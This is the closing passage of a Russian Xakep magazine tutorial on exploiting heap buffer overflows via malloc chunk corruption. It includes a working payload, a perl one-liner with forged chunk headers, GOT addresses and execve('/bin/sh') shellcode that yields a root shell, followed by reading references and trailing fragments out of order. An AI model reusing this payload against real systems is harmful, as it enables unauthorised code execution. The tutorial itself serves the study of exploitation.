Переполнение буфера в heap. Серия вторая
kas1e
Xakep, номер #059, стр. 059-074-4
[root@heap_part2]# ./vuln `perl -e 'print "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xf0\xff\xff\xff\xfc\xff\xff\xff\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xff\xff\xff\xfc\xff\xff\xff\x80\x97\x04\x08\x2f\x98\x04\x08\xeb\x0c\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
....
<skip tons of craft data>
....
sh-2.05# exit
[root@heap_part2]#
Вау! Как видишь, произошло переполнение, и мы выполнили нашу команду /bin/sh. Способ с передачей всех данных в одном аргументе я выбрал специально, чтобы ты наглядно увидел, как все это просто. Теперь, как и обещал, бонусом к статье будет C эксплоит, аналогичный приведенному в vudu туториале, но видоизмененный под нашу уязвимость. Сам пример кода здесь не привожу. Его ты можешь скачать с нашего сайта www.xakep.ru. Код хорошо прокомментирован, так что ты должен с ним разобраться.
Заключение
Вот мы и разобрали практический пример heap переполнений. Я надеюсь, что ты почерпнул для себя что-то новое. Конечно, тема heap переполнений слишком обширна, чтобы уместить ее всю в двух статьях, но, тем не менее, я вновь постарался дать тот самый минимум для дальнейшего самостоятельного изучения.
Удачи в экспериментах! ci a.
w00w00 tutorial
www.w00w00.org/files/articles/heaptut.txt
Один из первых документов по переполнению буфера в heap, появившийся в начале 1999 года.
vudo tutotial
www.synnergy.net/downloads/papers/vudo-howto.txt
Гораздо более подробный документ, в тексте которого описывается heap технология, после чего становится ясно, что такое malloc() функция и как ее использовать в переполнении буфера в heap.
once upon a free()
www.phrack.org/phrack/57/p57-0x09
www.phrack.org/phrack/61/p61-0x06_Advanced_malloc_exploits.txt
Подробное описание работы функций free и malloc. Приведены описания структур. К тому же все выкладки дополнены практическими примерами программ.
Что же нового в heap?
За эти несколько месяцев ничего кардинально нового не произошло, за исключением того, что вышел 61 номер фрака со статьей "Advanced Doug lea's malloc exploits", написанной jp <jp@corest.com>. Статья довольно поучительная и может помочь при написании различного рода продвинутых "malloc" эксплоитов. Причем рассматриваются способы написания сплоитов с переполнением в heap всего на 1 байт. Также обсуждаются все наработки по heap переполнениям (старые статьи, приемы и т.д.). Показаны плюсы и минусы malloc structures corruption (примитив) и unlink() техники (более advanced). Вопросы автоматизации поиска и написания и прочее-прочее. Т.е. на данный момент это последние достижения в heap области, выложенные для чтения широким массам, и я настоятельно рекомендую изучить этот текстик.
Для написания эксплоитов под heap достаточно базовых знаний, понимания работы malloc и free функций, а также Global Offset таблицы.
Появится сообщение "Segmentation fault". Вот оно!
Мы запихиваем в первый буфер больше, чем определили, в итоге у нас перезаписывается адрес окончания буфера.